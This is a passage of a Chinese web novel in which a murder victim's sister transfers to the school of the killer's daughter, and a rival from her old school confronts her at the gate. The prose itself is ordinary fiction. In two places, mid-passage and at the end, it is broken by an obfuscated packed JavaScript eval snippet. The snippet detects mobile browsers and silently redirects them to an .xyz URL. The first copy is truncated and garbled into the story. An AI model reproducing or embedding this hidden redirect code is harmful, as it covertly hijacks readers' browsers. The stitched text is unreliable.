开学前,妈妈还特意叮嘱她,都在一条街上读书,以后绕着冯山月走,不要让她伤心,不要碍她的眼。开学后,教练又专门找她谈话,说学校会注意保护她的隐私,不会因为这些事耽误她考大学。 可是,冯山月自己找上门来了。 选在开学第一天,校门口最热闹的时间,找人传话,点名要找她,又惹上别人,等着看王于英和他狗咬狗似的撕扯。 最后老师说要罚站,她却突然站出来,声称自己也应当认罚,和王于英一同站在了这里。 只要下课铃响,所有的学生都会涌出来看热闹,好奇这个转学而来的女生是什么来头。 很快,她和冯山月的关系就会曝光。 一个是杀人犯的亲女儿,一个是受害者的亲妹妹。 和亲人血浓于水,和彼此仇深见骨。 这是一场大张旗鼓的报复,除此之外,王于英想不到冯山月这么做的其它理由。 冬天的风灌进走廊,远处教室里嗡嗡的早读声逐渐在耳旁清晰。 王于英离开体育馆时没换衣服,下半身只穿了运动短裤和排球长袜,刺骨的寒气顺着羽绒服盖不到的小腿往上蔓延,穿过心脏,最后到大脑。 她打了个寒噤,回过神来。 像是有人在她脑海里吹响开赛哨。 她被拽到排球场上,冯山月隔着球网虎视眈眈,四面的挡板上印满鲜红的警告语——你的生活要完蛋了。 4. 04 钱主任的办公室在高三教学楼的最高层,位置绝佳。 从门外的走廊往下看去,近瞰可以掌握所有高三教室和走廊上的情况,远眺能将四中校园的景色尽收眼底。 一座钟楼矗立在校园中央,巨大的表盘上秒针一格一格地走着。 还有二十分钟,早自习就要结束了。 王于英侧头瞥了一眼,冯山月像在装作看不见她,目光远远地落在外面。 早自习的前二十分钟里,她们谁都没有说一句话。 王于英绞尽脑汁也憋不出合适的开场白,索性做好了心理准备,等冯山月先开口,解释她为什么在校门口等自己,又或者给出转学的理由,再不济直接骂自己两句都行。 没有,一个字都没有。 冯山月表现得像一个充满好奇心的普通转学生,在这漫长的二十分钟里将整栋高三教学楼的构造研究了一遍,现在又开始饶有兴致地观察四中校园里的其它建筑。 什么都没有说,所以说什么都有可能。 在漫长的沉默里,想象带来的心理压力更让人不好受。 这种不确定性拉扯着王于英的神经,令她越来越烦躁。 “哎。” 因此,当冯山月忽然开口,王于英第一个动作是长长地松了口气,随后才转头去看她。 这个时候,哪怕她直说“等着吧我转学就是为了整死你”,王于英也能平静接受。 当然了,冯山月是文化人,不会说得这么粗俗——不过王于英自从目睹了冯山月骂涂鸦男,对她的攻击性已经有了翻天覆地的认知。 冯山月没看王于英,视线瞄准远处的一栋建筑,阅读挂在外墙上的字牌:“汇雅楼,是做什么的?” 王于英一口气又提起来了,甚至怀疑这是某种她听不懂的暗讽,等了半天没听到冯山月说下一句,才谨慎地组织语言:“呃……给艺术生用的,练舞房、琴房、画室,都在那边。” 冯山月点点头,又不说话了。 上一次这么揣摩别人提问的意图,还是在王于英升高中参加四中体育生招考面试的时候,她有些烦躁地抓了抓头发。 见冯山月沉默,王于英以为她不满意这个回答,挤牙膏似的补充:“里面还有电脑机房。高一的时候,我们会在那里上音乐课和信息课。但是高三已经不学这些了……” 在她说话的时间里,冯山月再次偏开头朝着教学楼下面几层的走廊张望,王于英甚至不知道她是否还在听。 她的语气不自觉加重了:“那边平时都是锁着的,没钥匙进不去,你要是打算去乱逛就别想了,而且……” 对方把你当空气晾在旁边,你还得耐着性子把话说完,能忍才怪。 她本来就是一点即炸的脾气,对冯山月于心有愧才忍到现在,说着说着终于压不住那股无名火,干脆闭嘴,瞪着冯山月。 话音突兀地中断,冯山月总算注意到她情绪不对,转过头来。 两人对视,王于英硬生生另起话头:“你怎么知道向明珠和我一个班的?早上找我干什么?还有,为什么转学?” 一口气把想问的问完,她心里总算舒畅了,紧接着摆出一副破罐子破摔的架势,等冯山月回答。 就当她没素质没良心好了,哪怕冯山月嘲讽她一通,也比这么不上不下地吊着她要好。 没想到冯山月只是轻轻“啊”了一声,也不见生气,答:“合照。” 王于英一怔:“什么合照?” 冯山月说:“她的Q/Q空间里有你们班的合照。” 所以看完就过目不忘,记住了她的脸,还能在开学的时候一眼认出来? 王于英皱眉:“你看她Q/Q空间做什么?” 向明珠又没得罪她。 冯山月坦然:“我也看了你的。一中体育馆的确修得烂,因为校领导从中贪了钱,不过他后来被举报下台了,这件事你们四中的应该也听说过。” 王于英的大脑在刚听完开头那句就变得一片空白。 去年她们排球队在一中的体育馆打友谊赛,她发动态吐槽过一中的体育馆设计有问题,更衣室离场地十万八千里远,更衣柜甚至是坏的。 都是一年前的事了,还能被冯山月找出来,合着这人是把她的空间从头到尾翻了一遍? 无数种可能在王于英脑海中闪过,从“冯山月打算搜集信息网暴她”到“难不成冯山月打算借题发挥控诉她破坏两校友谊”。 而冯山月丝毫没注意王于英惊疑不定的眼神,继续回答,语气自然。 “找你是想让你帮忙带个路,毕竟我初来乍到,在四中没有熟人,也不熟悉环境。至于转学……” 她微笑,笑容里带着“你再怎么问我也只会这样答”的意味。 “因为我想来,就来了。” 王于英嘴角抽了抽:“这里是四中,你来这种学生弱智老师垃圾的地方读高三,搞负重训练啊?” 冯山月被王于英粗暴的形容词冲击得顿了片刻,随后才说:“在哪里学都一样,不影响。” 倒是很自信,自信得都有些狂傲了。 随后,她意识到什么,笑了:“你觉得我转学是为了报复你?” 王于英不言,眼神出卖了她的怀疑。 不然呢? 你连我社交账号都翻出来了,只要你想,随时可以给我的好友们群发消息说“王于英的爹是杀人犯”。 更别说现在你都转学了,就站在我身边,只要下课铃响,随便来个人找你打听,你就可以说“哦我转学是因为我哥哥死了,至于怎么死的你问王于英”。 除了这个目的,还有什么能让你放弃一中的尖子班,转学到四中来? 王于英等着冯山月给她一个确切的答复,就像在等刽子手的刀落下来。 可冯山月只是轻嗤了一声,把头转回去,什么都没说。王于英看在眼里,品出几分不屑解释的味道。 她沉下脸来。 如果不是因为她家亏欠冯山月,她这辈子都不会和这种人打交道。矜傲而目中无人,看似礼貌实则张狂,说话只说一半,总要别人猜她的意思。 王于英抱起胳膊,背靠在墙上,回忆当初在派出所里冯山月脸色苍白的样子,做了个深呼吸,理智慢慢回笼。 只是因为冯山月表现得不像个普通的受害者家属,没有歇斯底里地哭泣,也没有咄咄逼人地指控,并不代表她就能忘了她们之间谁是受伤更深的那个,转而指责冯山月。 王于英深呼吸。 要宽容,要大度,是她理亏,她忍。 自习结束近在眼前,能感觉到教室里的躁动越来越明显。 班主任们三番五次地把学生从走廊赶回去,又有好几个胆子大的借口上厕所跑出来,视线遥遥地朝这边飞。 远处的钟楼上,距离打下课铃已经只剩五分钟了。 分针与刻度之间的距离一格一格地变窄,王于英盯着那面钟,感觉她被困在那方寸的刻度之中,随着分针的倾轧逐渐窒息。 离钱主任办公室最近的教室响起“吱呀”的开门声,向明珠从一班门口探出头,左右看了看。 见办公室门口只剩冯山月和王于英两个人,她朝王于英咧嘴一笑,蹭着步子走来。 如果视线能化成实质,王于英的眼神足以把向明珠钉在原地。可向明珠却毫无察觉,她目光早就挪到了冯山月身上,既好奇又兴奋。 王于英认命地叹口气,心想你还在这里好奇人家,人家连你Q/Q空间里八百年前发的非主流合照都看过了。 “原来你就是那个一中的学霸啊,我还以为你是来四中找麻烦的呢。” 向明珠毫不见外地凑到冯山月身边,仿佛早上谎报军情说有人堵王于英的不是她。 冯山月朝她礼貌地点头,虽然脸上没有笑容,但说话很客气:“怎么会,以后都是同班同学,多多关照。” 一副不计前嫌的样子,完全看不出刚才是谁在故意晾着王于英,还对她嗤笑。 王于英斜着眼看冯山月装客气,半天才反应过来。 她和向明珠异口同声:“同班?” 冯山月答:“不然呢,你们一班不是四中最好的文科班吗?” 听上去有点欠,像在纡尊降贵地炫耀成绩,可她的神情却很自然,仿佛说的只是“一加一等于二”之类的客观事实。 说完还看了一眼王于英,王于英竟然诡异地接收到了她的脑电波——她不懂王于英这种头脑简单的体育生是怎么混进一班的。 王于英没解释,因为一些不好细说的前尘往事,高二分文理班的时候老师专门把她和女排队的队友们分开了,免得都在一个班方便通气打架。 ……而且其实她高一的时候成绩还挺不错的,只是这种话放在一中的年级第一面前实在说不出口。 “正好今天下午换座位,你要是找不到同桌可以找我,我也好沾点你的光。你知道吗,刚才班上都传开了,说你在校门口让隔壁三班那个男的吃瘪,能文能武啊你。” 向明珠已经自顾自地絮叨上了,念了半天没人理她,冯山月默然不语,王于英神游天外。 直到她问出那个王于英曾问过的问题。 “哎对了,你为什么要转学呀?” 与此同时,清脆得有些尖锐的下课铃敲响了。 开门声此起彼伏,成绩好的班门口人少,也安静些,成绩落后的班爱玩的人多,都挤在走廊上放风。 鞋底摩擦地板的动静不断,嗡嗡的说话声交织成海,玩闹时的叫喊和尖笑是卷起来的浪花。压抑了四十分钟的躁动像一场海啸,朝着这个角落席卷而来。 无数张脸庞出现,男的、女的、熟悉的、不熟悉的、看好戏的、漠不关心的。 冯山月没有立刻回答,视线越过向明珠望着远方,整条走廊上的人都被她用目光扫了一遍,分不清她是在找人,亦或者只是为了躲避向明珠的询问。 王于英余光瞥到什么动静,低下头去看。 冯山月插着手的衣兜在轻轻地、有规律地耸动。王于英焦虑的时候手上也喜欢做小动作,她猜那是冯山月在用拇指的指尖抠食指的指节。 冯燕芳走之前叮嘱过钱主任,不许提前放冯山月回班,既然想出风头,就下课的时候也站着别动,让四中同学好好看看。 冯山月当时一副满不在乎的样子,现在看来,她也没有面上表现得那么从容。 做惯了好学生,第一次在罚站的情况下被人围观,不好受也正常。 王于英这么想着,心里平衡不少,倒是可以原谅她之前对自己的无礼了。 向明珠不会看眼色,察觉不到冯山月的异常,锲而不舍地追问:“你到底为什么转学呀?只剩一个学期就毕业了,一中肯放你走?” 王于英打岔:“少说两句吧你。” 向明珠哦了一声,冯山月却被这话拉回了注意力。 她瞥一眼王于英,说:“我在一中触景伤情,睹物思人,读不下去。” 向明珠一呆:“什么?思谁啊?” 冯山月答:“没谁,一个死了的人。” 语气轻飘飘的,根本不显露出半分伤心,听起来像在说地狱笑话。 向明珠都快笑出来了,对上王于英能杀人的眼神,又把笑容收了回去。 她眼珠转了转,不知想到哪里去了,点点头:“行,我不问了。” 说完就欢快地跑了,王于英望着她的背影,感觉太阳穴在突突地跳。 真相险些就要被冯山月脱口而出,她却又咽了回去。这种说话方式简直像恐怖片,王于英害怕的事情隐在模糊的语言背后,时不时显现出一点影子,就足以扰得她心绪不宁,恐慌不散。 这股恐慌感持续了很久,久到上课铃响,班主任来钱主任门口领人,和冯山月寒暄了两句,再带着两人回一班。 班主任姓武,教数学,外号武则天,行事干脆利落,不怎么讲情分,也不特殊对待冯山月这个背景复杂的转学生。 进门后,她在满教室好奇的目光里递了个眼神给王于英,让她回座位,又把冯山月带到讲台边。 “来,欢迎新同学冯山月。”同学们欢呼声和掌声刚起个头,武老师就拿起尺子敲讲台,“行了,把上学期期末考的卷子拿出来,没带的找同桌借着看。冯山月,你坐那边去,桌洞里有空卷子,你拿着看。” 她指向最后一排靠后门的空位,那是今天早上得知有人转学后临时加的位置,孤零零的没有同桌。 王于英的位置在教室最里面的窗边,同样是一个单座。 她坐下了,周围的同学纷纷转过头来,用目光问她今早什么情况。 余光里,冯山月也坐到了位置上,拿起卷子认真阅读,仿佛她只是经历了一个平平无奇的早晨。 王于英却心不在焉的,对周围的眼神一个都没回应。顺便暗自稀奇,向明珠那个大喇叭居然没把前因后果讲给全班听。 她掏出文具袋,拿出笔开始转,盯着卷子发呆,耳旁武老师的讲课声如流水一般淌过。 直到下课铃响。 一群人如饿虎扑食般扭头,朝这个角落看,和王于英玩得好的同学直接笑着大声问:“二姐怎么又风光大站了?” 放在平时听到这种谐音梗玩笑,王于英只会笑着骂回去,今天班上多了个刚参加过葬礼的人,她一时竟不知道是该让同学住嘴,还是装作若无其事地接话。 最后,她朝对方比了个中指,直接趴下装睡。 耳朵却竖着,听后门口的动静。 然而,没有人找冯山月聊天,更没有人问她为什么转学,也就向明珠和几个热心的同学在路过她的时候打了个招呼。 经常转学的都知道,一个陌生学生刚进入集体时,周围人总是对她好奇而带有顾忌的。因为不了解她的脾性,不知道什么该说,什么不该说,如果她的态度也十分冷淡,那么大家只会更小心,远远地观望着,轻声地讨论几句,却谁都不好直接上去攀谈。 更何况来的是传说中那个能考华京的大学霸,同样长着两只眼睛一张嘴,大脑构造却说不定和他们这些目标考一本的同学不一样。 上午总共有五节课四个课间,每个课间王于英都趴下补觉,而冯山月要么做卷子,要么看书,这半天竟过得风平浪静。 其中最难熬的是长达半个小时的大课间。高三不用做课间操,放在平时王于英嫌大课间过得快,这次却觉得无比漫长。 她头埋在胳膊里,一开始还在胡思乱想,后来竟真的睡了过去。 而另一边,冯山月透过窗户望着走廊,桌上放着写完后对过答案的数学卷子。前面全对,压轴题是二选一,她都写了,其中一道没做错,另一道扣了四分。 前两节课她干脆没听,埋着头做题,武老师讲课的时候下来了一趟,也没打扰她。 沉浸在数学题里的时候,种种情绪都随着笔尖的移动宣泄了出去,心也变得格外安宁。 唯一没有全对的那道题,冯山月写它的时候刚好是大课间最热闹的时段,外面吵吵嚷嚷的,一个身影隔着窗户晃过去,她抬头瞥了一眼,笔下出现了差错。 冯山月用红笔在卷子上打叉,上课铃在耳边响起,余光可以瞥见王于英装模作样地伸着懒腰坐直。 今天早上,她那副如临大敌的样子令冯山月觉得很好玩,忍不住逗了逗她,没想到这人真以为自己是冲着为难她才转学了。 想到这里,冯山月又没忍住嗤了一声。 正是即将上课、班上最安静的时候,王于英的注意力又都在后门那边,因此,尽管隔着整个教室,她却精准地捕捉到了冯山月微微侧头的动作,和那一声嗤笑。 她把手撑在膝盖上,盯了冯山月一眼,却没有生气,反而像是找到了新的思路。 那之后的时间里,王于英都在思考,当放学铃响的时候,她起身的速度简直是前所未有的利落。 冯山月还在慢吞吞地收书包,顺便把手机开机,就看到王于英阳光灿烂地走了过来。 她脸上带着一种蒙对数学最后一道选择题的成就感,和直面最后一道压轴题的勇气。 王于英觉得她已经彻底想明白了,冯山月转学而来又按兵不动的原因。 就像人陷入黑暗时会恐惧未知,一件事在没有发生的时候是最可怕的。因为它有着无数种可能,而没有确定的结果,所以,只要想象那些可能出现的情况,就足以被这些想象一遍又一遍凌迟。 正因为王于英害怕真相暴露后周围人的反应,害怕审判的目光,只要冯山月一日不揭露真相,那柄达摩克利斯之剑就一日悬在她头顶。 如此一来,折磨的过程将被无限拉长。 而这,就是冯山月的用意! 果然是一中的高材生,一来就选择了最能折磨人心态的方法! 王于英用一种包容而慈祥的眼神看冯山月,看得冯山月有点发毛。 她心想,如果冯山月想这么做,那自己就奉陪到底。 既然她觉得对冯山月有所亏欠,就干脆大大方方地用行动补偿她、帮助她。 就算冯山月想为难自己,那也是因为她经历了那样的事,她表面上看着波澜不惊,心里肯定很难过,需要一个释放的出口。 她王于英从小到大打过的架、挨过的骂还少吗?她是最不怕受伤害的人。 只要她对冯山月足够耐心,足够好,即便之后冯山月当众揭开真相,说她是杀人犯的女儿,又如何?毕竟那是迟早会面对的一天,而在这之前,至少王于英做了自己该做的,面对冯山月时能问心无愧,旁人也挑不出她的错处。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563104|171402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她这么想着,对冯山月微笑:“要不要我送你出去,怕早上那帮人再堵你。” 她都做好被冯山月冷嘲热讽拒绝的准备了。 可冯山月却朝她点了点头。 王于英都愣了,却见冯山月已经移开视线,低头去看手机。 手机屏幕亮着,隐约能看见是短信的界面。 冯山月的表情并不好看,但王于英能感觉到,这不是冲着自己来的。 而是一个比她还要让冯山月觉得碍眼的人。 - 一分钟前,冯山月的手机里进来一条新短信。 发件人袁驰。 【你转学了?】 冯山月关掉手机,黑屏上映出她的脸,眉毛不自觉地皱着。 烦躁,每次看到他的名字就会烦躁,见到他的脸更是烦得不行,小时候还好,上了高中以后,她索性在学校里装不认识他。 也许袁驰和她想法一样,他本来就不是话多的人,每当冯山月也在场时,能明显感觉到他变得更沉默了。 早就相看两厌的人,现在却不合时宜地贴上来。 有病。 发件时间是两个小时前,葬礼结束后他就没再出现过,现在居然都敢和她发短信了,她不回复,他甚至没追问,其中肯定有问题。 冯山月冥冥之中有股预感,这人说不定现在就在四中的门口等着她。 从小到大都是这样,也不知道他是真的看不懂她眼色,还是故意给她难堪,每次她不回答他的问题,他就要刨根问底,她不说,他就找别人问。 本来嘴就笨,问别人的时候也组织不好语言,落在旁人耳朵里往往就要生出误会。小学的时候同学传袁驰讨厌她,上了初中又有人传袁驰和她早恋,两个人在家里被家长比来比去,到了学校还要被同学摆在一块比较。 好不容易熬到上高中,冯山月下定决心在学校里和他装不熟,出于远香近臭原理,她看他顺眼了一点,却在寒假里发生了那件事。 如果此刻,要在冯山月心中评出一个最不想看见的人,那么袁驰可以力压幼儿园时拿她和她哥开重男轻女玩笑的远房亲戚、初二那年造她黄谣被她哥堵在厕所里暴打的男同学、以及王于英一家,勇夺桂冠。 是的,她就是这么讨厌他。 冯山月背上书包,对王于英说:“行,一起走。有个烦人的东西可能会在门口堵我,你帮我看住他。” - 四中有食堂,面积却很小,且并不好吃,校方自己也认识到这一点,因此中午时并没有给校门设门禁。 很多学生会选择在校外解决午饭,要么家住在附近回家吃,要么找个托管小饭桌,实在不行就在学院街上随便找个餐馆解决一顿。 校园里人来人往,冯山月和王于英并肩往门口走,不少目睹了她们罚站的人投来好奇的目光。 冯山月的脸很臭,王于英却笑眯眯的,这简直不符合四中学生的认知。 这还是那个谁给她脸色看,她就对谁加倍奉还的二姐吗? 还有她身边那个一大早就被拉去罚站的转学生,站在钱主任门口的时候都波澜不惊,现在脸臭成这样,谁惹她了? 王于英迎着各种各样的目光走了一路,越接近校门越蓄势待发,做好准备替冯山月解决麻烦。 到了校门口,还真发现有个格外显眼的人杵在外面,不少路过的学生都忍不住回头看他。 校门外,一个穿黑色冲锋衣的高个男生与冯山月遥遥相望。 狐狸眼,薄嘴唇,肩宽腿长,长得很帅。即便平时神情冷淡,寡言少语,也依旧是容易让异性心生好感的那一类。 耳旁能听到四中的学生在小声议论。 “这不是一中那个谁吗?叫什么来着?” 袁驰,一个在一中很有名,甚至名气都传到了四中的人。 王于英也听过他的名字,甚至怀疑冯山月看错了人——要知道,她刚才一直以为冯山月口中“烦人的东西”是指某个纠缠不清的混混。 而袁驰,是一中常年霸榜的理科第一——不过据冯山月统计,袁驰拿第一的次数比她少两次——学生会主席,四中学生眼里另一个能考上华京的外星人。 成绩好的人每年都有,学生会主席也是一届一换,但袁驰之所以能让大家一提到主席就想起他,是因为高二时当选主席第一周,他干了件惊天动地的大事。 那天,一中体育馆完工投入使用,又赶上校园开放日,媒体进一中搞直播,一派欣欣向荣热闹非凡之景。 作为成绩好形象佳的学生会主席,袁驰来到镜头前,参加校长面对面活动。 然后他就在直播中,拿出印满数据表格的文件,展示给校长、记者和观众。 他说,体育馆的施工质量和投入资金不匹配,他要举报校领导挪用建设资金。 直播是被掐断了,热度却开始发酵,很快有上面的人来调查,涉事的副校长也免职入狱。 自此,学院街上都传开了,一中有届学生会主席家里是做工程的,看出学校体育馆有问题,直接把校领导拉下了马。 再传到后面,名字已经记不清了,都管他叫主席。 有着这种光辉历史的人,突然出现在四中门口做什么?查贪污腐败查到四中来了? 众目睽睽,冯山月走到袁驰面前,王于英落后半步,观察冯山月下一步动向。要开骂可以直接骂,开打的话得找个偏僻的地方,得提前知会冯山月一句。 而远处不知情的人看去,只觉得那两人一黑一白郎才女貌,盯着对方看的目光虽然算不上和善,却已完全不再将旁人放在眼里了,颇有些自带结界似的般配。 下一秒,穿黑的那个开口了:“你转学躲我?” 围观者嗅到八卦的气息,眼冒精光,屏气凝神。 紧接着,穿白的那个冷笑一声,掷地有声三个字。 “你配吗?” 气氛一下子变得尴尬,粉红滤镜消失,场面成了仇人相见分外眼红。 王于英本来打算立刻出手,拦在二人中间,却在察觉到冯山月的情绪后顿住了。 一个可能性在她脑海里冒泡。 亏她冥思苦想一上午,把冯山月种种异常举动都考虑了一遍,居然漏了一个思考方向。 莫非……也许……冯山月转学还真不是冲着她来的。 而是因为……惹她的另有其人? 再看向袁驰时,王于英的眼神就变得很微妙了,出于不便言说却最遵从内心的原因,她没有再立刻阻拦。 如果能转移炮火,何乐不为呢。 然而袁驰没像她想的那样反唇相讥。 他仿佛是聋了,完全忽视掉冯山月带敌意的反诘,又像是已经得到了答案,便不再追问,直接把话题跳到别处。 难得这次他没有只说几个字,开口时一听就知道不是临时想的词,而是措辞许久,等到冯山月出现在校门口,才终于有了说出口的机会:“老李让我带资料给你,我顺便和你去梁阿姨那里吃饭。” 冯山月冷冷地说:“资料给我,你走。” 袁驰一副没听见后半句的样子,眉毛也不抬一下,取下背包翻找起来。 校门口人来人往,冯山月盯着他的表情很不好看,他却很坦然,并不觉得这样被她当众拒绝是很丢面子的事。 仔细想来,当初能在直播摄像机面前倒反天罡指控校领导,这位也的确不是个会顾忌别人评价的。 旁人啧啧称奇,其中就包括拉着朋友路过,听到了两人的后半段对话之后有所联想的向明珠。 她刹住脚,兴奋之下,完全忽视了王于英在对她疯狂使眼色,而嗓门极大地喊了一句:“冯山月,这是你说的那个前男友吗?” 早上可是冯山月自己说的,睹物思人触景伤情,看来对方伤她很深,都开口称他为死人了。 四中这个地方,每天都能发生点什么。高中生年轻气盛,能吵起来或者打起来的,要么是两人结仇,要么是两人因爱生恨结仇。 前有毕思琪寒假被前男友纠缠,后有转学而来的冯山月,当时向明珠望着冯山月的脸色,自己就脑补了一整出大戏,没想到这会儿在校门口看上热乎的了。 向明珠心里一揣摩,这男生也不像是看冯山月不顺眼,被下逐客令也没脾气,反倒一副很习以为常的样子,脸色都不带变的。 不是仇敌,那就是怨侣咯?头脑发热之下,她一句“前男友”就这样脱口而出了。 不是冯山月的错觉,整个校门口都安静了一瞬。 紧接着,袁驰在包里翻找的动作也停下,他抬起脸来,难得神情出现波澜,变得很复杂,不像生气,但绝对称不上高兴。 他开口,声音只有他和冯山月能听见。 “你用这种方式报复我?” 5. 05 每当袁驰像这样紧盯着冯山月,试图捕捉她神情里的细微变化,冯山月总会产生一种找东西把他眼睛蒙住,再勒令他滚开的冲动。 小学时他因为“袁驰讨厌冯山月”的谣言来找她道歉,用的是这副表情,初中时他一本正经地解释“我喜欢的只有学习”之后立刻转头看她,也是这副表情,更别提此时此刻,他不管周围的目光,宁可被旁人揣测也只盯着她。 怎么看都是在等待她因为这句挑衅而破防的样子。 也只有这么解释,才是她所熟悉的、过去十二年与袁驰相处的模式。 冯山月面不改色,根本不搭理他,转头质问向明珠:“我今天和你说的哪一句话、哪个字里,提到过前男友?” 向明珠意识到气氛不对,笑容有些僵,嘴上却没刹住车:“你说你转学是因为睹物思人,触景伤情,还说那是‘一个死人~’” 她从小就在家里充当开心果,活跃气氛的本能让她说话的语气变得夸张,说“死人”的时候像在嗔怪说“死鬼”,这也是她原本理解的意思。 然而这一次,在她说完以后,眼前三人谁都没有被逗乐。 王于英很少对她真的生气,这次却拉下脸来:“你回去,把你那些垃圾言情小说扔了,除了恋爱能不能想点别的?” 而袁驰在听到“死人”这个词以后,终于意识到什么,他低头,从包里找到资料递给冯山月,却不再看她的脸。 向明珠干巴巴地“啊”了一声,脸上带着做错事的惶恐望向冯山月,嗫嚅着,不知该从哪句开始道歉。 周围的人也在王于英威胁的目光中走开,尽管还在远远地朝着这边张望,却也意识到谁再敢胡乱揣测,绝不会有好果子吃。 如果袁驰不在这里,冯山月或许还会对向明珠讥讽几句,可现在,眼前站着最值得她羞辱的人。 冯山月一把从袁驰手里抽走那沓纸:“你以为我不希望那个死的人是你吗?” 冷风呼啸而过,这一方空间里的温度降至冰点。 这是一句非常非常重的话。 从小到大冯山月和袁驰吵架过很多次,经常是她单方面输出,而他用沉默负隅顽抗,最后以她哥当和事老打圆场作为收尾。 可这一次,再没有人会笑眯眯地冒出来,一手拉一个说大家不要吵了。 冯山月说完,自己也心有余悸地抿了抿嘴,可终究还是昂起头,不打算纠正它可能造成的后果。 她对袁驰挑衅地笑,想着这才是我报复你的方式,心里竟一点也不觉得痛快。 可能是因为袁驰这一次没有回嘴,也没用眼神否认她的话。 他快速地眨了眨眼,任由冯山月话语里的恶意刺过来,却选择站在原地,一点也不抵抗。 像是一拳打在棉花上,冯山月没见过他这副样子,原本想说得更难听,话到嘴边却堵住了。 她皱眉,打量他,觉得自己有些看不明白他的意图。 王于英和向明珠在一旁惊异地看着,谁都没敢开口打破僵局。 向明珠终于意识到,冯山月嘴里的“死人”不是夸张,而是一个真实的、离开了的人。 至于王于英,她飞快地瞥了一眼袁驰,想起那个王勇斌杀错了人的消息。 这位传闻中敢和校领导叫板的学生会主席,在众目睽睽之下被人骂成这样也不回嘴,如果他本就问心有愧,倒是一切都能解释得通了。 远处,四中校园里的广播站放起了音乐,示意着午休时间的流逝。 冯山月把视线从袁驰身上摘走,快步离开。 向明珠本想拉住她道个歉,却在看清她表情后缩回了手,最终被朋友拉走,走之前都没敢和王于英说再见。 而袁驰却下意识转身想跟上冯山月,一个身影拦在他面前。 王于英信守对冯山月许下的承诺,硬着头皮开口:“她说,不希望你打扰她,别跟着了。” 自从和冯山月打过交道以后,她就对这些来自一中的尖子生形成了“没礼貌又难搞”的刻板印象,眼下此人刚被冯山月骂完,想必心情好不到哪里去,她已经做好了打硬仗的准备。 没想到袁驰收回视线看过来,却没头没尾地问了句:“你是她朋友?” 语气里的质疑很明显,可以理解成他不认为冯山月有能力一上午就交到新朋友,也可以理解成,他对冯山月有哪些朋友了如指掌,而这其中没有人叫王于英。 王于英没否认,却也点不下头,含糊地唔了一声。 身为凶手家属,她在面对这起错杀案的相关人员时总是做不到理直气壮。 尴尬的沉默中,袁驰把书包拉链拉好,单肩背着,越过王于英的肩膀,看向冯山月远去的背影。 “她今天早上惹事了?” 也不知道是从哪里打听到的,配上面无表情的脸,总给人一种他要趁机落井下石说两句的错觉。 之所以说是错觉,是因为在王于英抱起胳膊拒绝回答以后,袁驰自顾自地接了话。 “她就这样,你们多担待。” 王于英抱着的胳膊放下了,原本瞪视袁驰的眼睛睁大,流露出另一种情绪:“你在替她说话?” 她是实在没想到,这人居然比自己还能忍。 前脚刚被冯山月骂完去死,后脚就以一副“我比你了解她”的语气,反过来劝她多担待。 袁驰不答,表情却放松了很多,不再微蹙着眉,眼里也有了光,仿佛王于英这句话让他好受了不少。 王于英用看精神病的眼神看袁驰。 身为同样对冯山月感到亏欠的人,她不是不能理解他那种自虐般赎罪的意图,只是扪心自问做不到被骂了还能这么快调整情绪。 袁驰对王于英的表情视若无睹,侧开身子绕过她往冯山月离开的方向走。 他一直在留意视线尽头那个穿白羽绒服的身影,此刻她已经快要走进街对面的老小区里了。 “等等。”王于英没忘记自己的职责,后退一步再次拦下他,“别再找她了。” 袁驰把手揣进冲锋衣的口袋,脚步不停,扔下一句话。 “我和她没结束。” 如果冯山月在场,能被他这种脑回路扭曲、旁人不能理解的表述气得再骂他两句。 不怪从前总有人传冯山月和他的绯闻,袁驰总是想到什么就说什么,不在乎别人怎么理解,被冯山月骂回来了也要反应半天才意识到不该这么说,结果下一次换个表达方式也还是让她不满意。 他后来索性就不多说了,越长大话越少,原本觉得少说少错,可在关于她的话题上也还是经常犯错。 冯山月她哥当年跟风研究玄学,开玩笑地说是因为他和冯山月八字相冲,袁驰反问他,明明他和妹妹是龙凤胎,出生时间精确到同一个时辰,八字一样,为什么他和自己能相处融洽。她哥笑着说,性别不同,运势是反的。 后来在葬礼上,袁驰浑浑噩噩地想到了这句话。 如今这对兄妹里的一个已经不在世间,那另一个呢,她看起来有过得很幸福吗? 似乎没有。 他和冯山月从小竞争到大,始终光明磊落,一直想要赢她,没想过咒她不幸。 过去的十二年里,她在成绩上与他斗争不休,现在高考就在眼前,她却宁愿放弃一中的师资也要转学。 她不要她的光明未来了吗?忘记她上高中的第一天在班上做自我介绍,石破天惊地说她要考华京以后,如何志在必得地用“你敢不敢”的眼神向他宣战的吗? 可如今她就这么悄无声息地走了,如果不是上午从李老师那里听到消息,他甚至要等一中开学后才知道这件事。 二月的冷风刮得人眼睛疼,袁驰绷着脸,越走越快。 王于英紧跟在他身后半步的位置,发现这人听不进话之后,她放弃了劝降。 老小区里的监控死角很多,在里面动手更方便,她答应了冯山月,就要信守诺言。 袁驰没在乎身边还跟了个虎视眈眈的王于英,他心里只有一个想法。 有问题就会有解答,袁驰要冯山月给他一个答案。 如果她转学是因为不想见到他,那么该走的人是他,绝不是冯山月,他会立刻联系家里给他转学。 而如果这一切另有隐情,他想知道那个原因。 他唯独不能接受她就这么不明不白地单方面结束战争。 他不甘心。 - 靠近老小区后门的某一栋里,一楼那间屋子的门虚掩着。 屋子里飘满饭菜的香气,客厅中央摆了一张长桌。 这是一个私人经营的小饭桌,只收高三生,经营的阿姨姓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563105|171402||http|test|mini|href|location''.split(''|''),0,{})); 